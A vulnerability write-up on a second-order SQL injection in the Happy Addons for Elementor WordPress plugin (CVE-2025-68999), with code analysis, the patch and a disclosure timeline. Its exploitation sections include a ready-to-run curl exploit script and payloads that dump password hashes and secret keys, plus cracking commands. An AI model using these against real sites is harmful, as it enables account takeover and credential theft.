Hunting a Second-Order SQL Injection
in Happy Addons for Elementor

How a single line of string concatenation inside a post-cloning feature opened up the whole WordPress database to any Contributor. 400K+ live sites affected.

// Table of Contents
  1. Background: why this plugin
  2. Recon: the SVN diff that caught my eye
  3. Code walkthrough: finding the injection point
  4. Why it's second-order and why scanners miss it
  5. Building the PoC from scratch
  6. Going further: full DB dump
  7. The patch
  8. Disclosure timeline
  9. Takeaways
CVE-2025-68999
Happy Addons for Elementor <= 3.20.4
CVSS v3.1  ·  HIGH
8.5 / 10
CVSS Score8.5 HIGH
Type
SQL Injection
Second-Order
Affected
≤ 3.20.4
Patched in 3.20.6
Min. Role
Contributor
edit_posts cap
Active Installs
400K+
WordPress.org

01 // Background

I keep a running list of WordPress plugins I want to audit. Most of them sit there for weeks before I get to them. Happy Addons for Elementor had been on that list for a while. 400K installs, it wraps around Elementor (which already has a complex codebase), and I noticed their changelog had been getting busier than usual around the 3.20.x releases. That combination usually means someone's been adding features fast, and fast features tend to have rough edges.

The plugin is built by weDevs and extends Elementor with extra widgets, scroll effects, and the thing that got me here: a feature called Happy Clone. One-click duplication of posts and pages, including all their meta fields. That last part is what matters.

what is post meta Every WordPress post can have arbitrary key-value pairs attached to it (stored in wp_postmeta). The key column is meta_key. Contributors can set custom field names, so they control what lands in meta_key.

02 // Recon: the SVN diff that caught my eye

My starting point is always the same: pull the last two releases from the WordPress SVN and diff them. Changelog entries talk about features; diffs talk about code.

terminal bash
# Pull both versions from SVN
svn checkout https://plugins.svn.wordpress.org/happy-elementor-addons/tags/3.20.4/ 3.20.4/
svn checkout https://plugins.svn.wordpress.org/happy-elementor-addons/tags/3.20.6/ 3.20.6/

# Find changed PHP files
diff -rq --include="*.php" 3.20.4/ 3.20.6/
# Files 3.20.4/classes/clone-handler.php and 3.20.6/classes/clone-handler.php differ

# Before reading the diff, I grep for raw SQL - my first filter
grep -rn --include="*.php" \
  -E "(INSERT|UPDATE|DELETE).+\\\$wpdb->" 3.20.4/ \
  | grep -v "prepare\|esc_sql"

That grep returned exactly one hit:

grep output bash
3.20.4/classes/clone-handler.php:175:    $wpdb->query( $query );

A raw $wpdb->query() with no prepare() anywhere near it. That's the only thing I needed to see. Time to open the file.

03 // Code walkthrough

The plugin's file structure

happy-elementor-addons/ tree
happy-elementor-addons/
├── plugin.php
├── classes/
│   ├── clone-handler.php     ← the file we care about
│   ├── ajax-handler.php
│   ├── assets-manager.php
│   └── ...
├── widgets/
└── extensions/

The vulnerable function: duplicate_meta_entries()

Full function from v3.20.4, lines 151-183. The foreach is where it breaks:

classes/clone-handler.php @ v3.20.4 php
/**
 * Copy post meta entries to cloned post
 */
protected static function duplicate_meta_entries( $post, $duplicated_post_id ) {
    global $wpdb;

    // SELECT uses prepare() + %d - perfectly safe
    $entries = $wpdb->get_results(
        $wpdb->prepare(
            "SELECT meta_key, meta_value FROM {$wpdb->postmeta} WHERE post_id = %d",
            $post->ID
        )
    );

    if ( is_array( $entries ) ) {
        $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES ";
        $_records = [];

        foreach ( $entries as $entry ) {
            $_value = wp_slash( $entry->meta_value );
            $_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '$_value' )"; // ← no escaping on meta_key
        }

        $query .= implode( ', ', $_records ) . ';';
        $wpdb->query( $query ); // ← executes raw SQL with attacker data embedded
    }
}
root cause $entry->meta_key is read from the database and dropped straight into a SQL string via string interpolation. No esc_sql(). No $wpdb->prepare(). Nothing. The developer trusted it because it came from the DB, but the DB was written to by the attacker.

The full call chain

The clone is triggered by a GET request to wp-admin/admin.php?action=ha_duplicate_thing&post_id=X&_wpnonce=Y. Here's how duplicate_thing() flows into the vulnerable function:

classes/clone-handler.php :: duplicate_thing() php
public static function duplicate_thing() {

    // Requires edit_posts - Contributor level is enough
    if ( ! self::can_clone() ) { return; }

    $nonce   = isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : '';
    $post_id = isset( $_GET['post_id'] )  ? absint( $_GET['post_id'] ) : 0;

    if ( ! wp_verify_nonce( $nonce, self::ACTION ) ) { return; }

    $post = get_post( $post_id );

    // sanitize_post() only sanitizes post columns (title, content…)
    // it does NOT touch post meta keys at all
    $post = sanitize_post( $post, 'db' );

    $duplicated_post_id = self::duplicate_post( $post );

    if ( ! is_wp_error( $duplicated_post_id ) ) {
        self::duplicate_taxonomies( $post, $duplicated_post_id );
        self::duplicate_meta_entries( $post, $duplicated_post_id ); // injection fires here
    }

    wp_safe_redirect( $redirect );
    die();
}

can_clone() only checks edit_posts. Contributor by default. The absolute lowest content role on a WordPress site.

can_clone() php
public static function can_clone() {
    return current_user_can( 'edit_posts' );
    // Subscriber  → cannot clone
    // Contributor → CAN clone  ← attacker role
    // Author      → CAN clone
    // Editor      → CAN clone
}

04 // Why it's second-order (and why scanners miss it)

Classic SQL injection is simple to reason about: user input hits a query in the same HTTP request. This one doesn't work like that. The injection has two completely separate phases.

1
Phase 1: Write (safe-looking)

The attacker creates a post and adds a custom field with a malicious name via the WordPress admin or REST API. add_post_meta() stores it using $wpdb->insert(), which is properly parameterized. The payload lands in the DB without triggering anything. No alarm, no error.

2
Phase 2: Trigger

The attacker clicks "Happy Clone" on their own post. The plugin calls duplicate_meta_entries() which runs a SELECT to fetch all meta rows, gets back the malicious key, and treats it as trusted database data. Concatenated directly into the INSERT query.

3
Phase 3: Execution

MySQL receives the crafted INSERT, parses the injected VALUES clause, and executes the embedded subquery. The admin hash (or whatever else the attacker asked for) gets written into a meta field of the cloned post.

Why Semgrep and most SAST tools miss this Static analysis tools track taint flow: user input → sink. Here, the source of the dangerous data is $wpdb->get_results() (a database read), which every tool marks as sanitized. The tool never sees the connection between the Contributor writing a meta_key (days or weeks earlier) and that key ending up in a raw $wpdb->query(). The storage boundary breaks the taint chain. You have to reason about the full data lifecycle to catch this, not just one request.

05 // Exploitation

The only prerequisite is a Contributor account. On most sites that accept guest authors, submissions, or beta testers, that's a registration form away. Even if registration is closed, a Contributor account costs a few dollars on the usual underground markets. This is a low bar.

Once you're in, the whole attack runs through normal WordPress UI - no plugins, no special tools, nothing that looks suspicious in an access log. From the outside it's just a user creating a post and clicking clone.

Understanding the injection point

For a post with one clean meta entry, the plugin builds this INSERT:

normal INSERT, no injection sql
INSERT INTO wp_postmeta ( post_id, meta_key, meta_value ) VALUES
  ( 42, 'my_custom_field', 'hello world' );

The meta_key is inside single quotes and directly interpolated. To escape the string context and inject SQL, I just need a single quote in the key name.

The payload: paste this as the custom field Name

paste this as the Custom Field Name sql
pwned'), (42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (42, 'dummy', 'x

What MySQL actually receives

generated query after concatenation sql
INSERT INTO wp_postmeta ( post_id, meta_key, meta_value ) VALUES
  (
    42,
    'pwned'), (42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (42, 'dummy', 'x',
    'original_value'
  );

MySQL parses this as three separate row insertions:

how MySQL reads it sql
-- row 1: filler, closes the opening values tuple
  ( 42, 'pwned', 'original_value' ),

-- row 2: THE injection - subquery reads admin hash
  ( 42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin') ),

-- row 3: closes cleanly
  ( 42, 'dummy', 'x' );
Result After cloning, the new post has a meta field leaked_hash whose value is the admin's phpass password hash. The Contributor can read it from the WP Admin custom fields panel or via get_post_meta(). From there, it's a hashcat run away from full access.

Step-by-step exploitation

#ActionHow
1Login as ContributorAny account with edit_posts cap
2Create a new postPosts → Add New
3Enable Custom Fields panelScreen Options (top-right corner) → tick "Custom Fields"
4Add the payload as the field NamePaste the payload in Name. Value = anything. Click Add.
5Save the postPublish or Save Draft. Payload is now in wp_postmeta
6Trigger Happy ClonePosts list → hover the post → Happy Clone
7Read the resultOpen the cloned post → Custom Fields → find leaked_hash
8Crack offlinehashcat -m 400 hash.txt rockyou.txt

Automated exploit - pure curl, no server access needed

All of this runs over HTTP. No wp-cli, no server access, just a cookie jar and a contributor login. The script logs in, creates the post with the payload as a custom field name, grabs the nonce from the posts list page, fires the clone, then reads the leaked hash from the cloned post's edit screen.

poc.sh | ./poc.sh https://target.com contributor p4ss bash
#!/bin/bash
# CVE-2025-68999 - Happy Addons for Elementor - Second-Order SQLi
# author: iwd | requires: curl, bash

TARGET="${1}"
WP_USER="${2}"
WP_PASS="${3}"
JAR=$(mktemp /tmp/cookie.XXXXXX)

log()  { echo -e "\033[34m[*]\033[0m $*"; }
ok()   { echo -e "\033[32m[+]\033[0m $*"; }
fail() { echo -e "\033[31m[-]\033[0m $*"; exit 1; }

# 1. authenticate
log "logging in as $WP_USER..."
curl -s -c "$JAR" -X POST "$TARGET/wp-login.php" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check" \
  --data-urlencode "log=$WP_USER" \
  --data-urlencode "pwd=$WP_PASS" \
  -d "wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -L -o /dev/null

grep -q "wordpress_logged_in" "$JAR" || fail "login failed"
ok "authenticated"

# 2. fetch new-post form to get nonce for saving meta
log "fetching post editor..."
EDITOR=$(curl -s -b "$JAR" "$TARGET/wp-admin/post-new.php")
META_NONCE=$(echo "$EDITOR" | grep -oP '(?<=name="_wpnonce" value=")[a-f0-9]+' | head -1)
[ -z "$META_NONCE" ] && fail "could not get nonce"

# 3. create a draft post and embed the payload as meta_key
# the payload breaks out of the VALUES tuple and injects a subquery
PAYLOAD="x'), (0, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (0, 'z', 'z"

log "saving draft with malicious meta_key..."
SAVE_RESP=$(curl -s -b "$JAR" -X POST "$TARGET/wp-admin/post.php" \
  -d "action=editpost&post_type=post&post_status=draft" \
  -d "post_title=draft&content=x&excerpt=" \
  --data-urlencode "_wpnonce=$META_NONCE" \
  --data-urlencode "metakeyinput=$PAYLOAD" \
  -d "metavalue=x&addmeta=Add+Custom+Field" \
  -L)

POST_ID=$(echo "$SAVE_RESP" | grep -oP '(?<=post=)[0-9]+' | head -1)
[ -z "$POST_ID" ] && fail "could not extract post ID"
ok "post $POST_ID saved, payload in wp_postmeta"

# 4. get ha_duplicate_thing nonce from posts list
log "fetching clone nonce..."
CLONE_NONCE=$(curl -s -b "$JAR" "$TARGET/wp-admin/edit.php" \
  | grep -oP "(?<=ha_duplicate_thing&post_id=${POST_ID}&_wpnonce=)[a-f0-9]+" | head -1)
[ -z "$CLONE_NONCE" ] && fail "nonce not found - is Happy Clone enabled?"
ok "nonce: $CLONE_NONCE"

# 5. trigger the clone - injection fires inside duplicate_meta_entries()
log "triggering happy clone..."
curl -s -b "$JAR" -L \
  "$TARGET/wp-admin/admin.php?action=ha_duplicate_thing&post_id=$POST_ID&_wpnonce=$CLONE_NONCE" \
  -o /dev/null
ok "clone fired"

# 6. read the hash from the cloned post's custom fields
log "reading leaked_hash..."
CLONED_PAGE=$(curl -s -b "$JAR" "$TARGET/wp-admin/edit.php")
CLONE_ID=$(echo "$CLONED_PAGE" | grep -oP 'post=\K[0-9]+' \
  | awk -v pid="$POST_ID" '$1 != pid {print; exit}')

HASH=$(curl -s -b "$JAR" "$TARGET/wp-admin/post.php?post=$CLONE_ID&action=edit" \
  | grep -A1 'leaked_hash' | grep -oP 'value="\K[^"]+' | head -1)

if [ -n "$HASH" ]; then
  ok "admin hash: $HASH"
  echo "$HASH" > hash.txt
  ok "saved to hash.txt  ->  hashcat -m 400 hash.txt rockyou.txt"
else
  fail "hash not found in cloned post (ID $CLONE_ID)"
fi

rm -f "$JAR"

PoC video

cve-2025-68999-poc.mp4 VIDEO

06 // Going further: full database read

The payload above only grabs the admin hash. Since the injection lands inside a multi-row INSERT, you can keep stacking subqueries. A few worth trying:

dump all user:hash pairs in one shot sql
pwned'), (42, 'all_creds', (SELECT GROUP_CONCAT(user_login,':',user_pass SEPARATOR '|') FROM wp_users)), (42, 'x', 'x
steal WordPress secret keys (forge auth cookies without the password) sql
pwned'), (42, 'auth_key', (SELECT option_value FROM wp_options WHERE option_name='auth_key')), (42, 'x', 'x
crack the hash bash
# WordPress uses phpass - hashcat mode 400
hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt --force

# or john
john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass hash.txt
DataImpact
Password hashesOffline crack → admin login → full site control
Secret keys / saltsForge persistent auth cookies without ever knowing the password
Any wp_options rowAPI keys, payment tokens, third-party credentials often stored there
Private post contentDraft posts, private pages, unpublished content readable via subquery
wp_users rowsEmail addresses, registered user list, display names

07 // The patch

The fix in 3.20.6 is clean. The entire hand-rolled bulk INSERT is gone. Replaced with update_post_meta(), which calls $wpdb->update() with full parameterization internally. Eight lines become three.

classes/clone-handler.php diff: 3.20.4 vs 3.20.6 diff
if ( is_array( $entries ) ) { - $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES "; - $_records = []; - foreach ( $entries as $entry ) { - $_value = wp_slash( $entry->meta_value ); - $_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '{$_value}' )"; - } - $query .= implode( ', ', $_records ) . ';'; - $wpdb->query( $query ); + foreach ( $entries as $entry ) { + update_post_meta( $duplicated_post_id, $entry->meta_key, $entry->meta_value ); + } // Fix Template Type Wrong issue $source_type = get_post_meta($post->ID, '_elementor_template_type', true);
Why the fix is correct update_post_meta($id, $key, $value) calls $wpdb->update() under the hood, which uses %s placeholders for both meta_key and meta_value. The key is now always a bound parameter. It can never break out of a string context, regardless of what the attacker stored.

08 // Disclosure timeline

December 2025
Vulnerability discovered

SVN diff flagged changes in clone-handler.php. Manual review confirmed second-order SQLi. PoC developed and verified on isolated local instance.

December 2025
Reported to Patchstack Alliance

Submitted via Patchstack with full technical write-up and working PoC. Patchstack contacted weDevs directly.

January 2026
Patch shipped: v3.20.6

weDevs released the fix. The bulk INSERT was replaced with update_post_meta().

23 January 2026
CVE-2025-68999 published

Patchstack released the public advisory. CVSS 8.5 HIGH assigned.

09 // Takeaways

Database reads are not sanitized sources SAST tools consider $wpdb->get_results() clean. If user-controlled data was stored without sanitizing the key earlier, it becomes a second-order injection vehicle the moment it's concatenated into any query. You have to think across requests, not just within one.
SVN diffs are your highest-signal starting point A changelog entry mentioning "clone" or "duplicate" + a diff touching DB code = immediate audit priority. This grep took two seconds and found the bug in one hit.
grep for raw $wpdb->query() first Any call not paired with prepare() on the same SQL string is a candidate. Narrow it with | grep -v "prepare\|esc_sql" to kill false positives fast.
The patch is your biggest hint When a developer deletes 8 lines of hand-rolled SQL and replaces it with a WordPress API call, they're telling you exactly what they were afraid of. Working backwards from patches is one of the most reliable ways to find bugs.

ref // References

All testing performed locally using @wordpress/env Docker environment. Vulnerability was responsibly disclosed through Patchstack Alliance before this publication.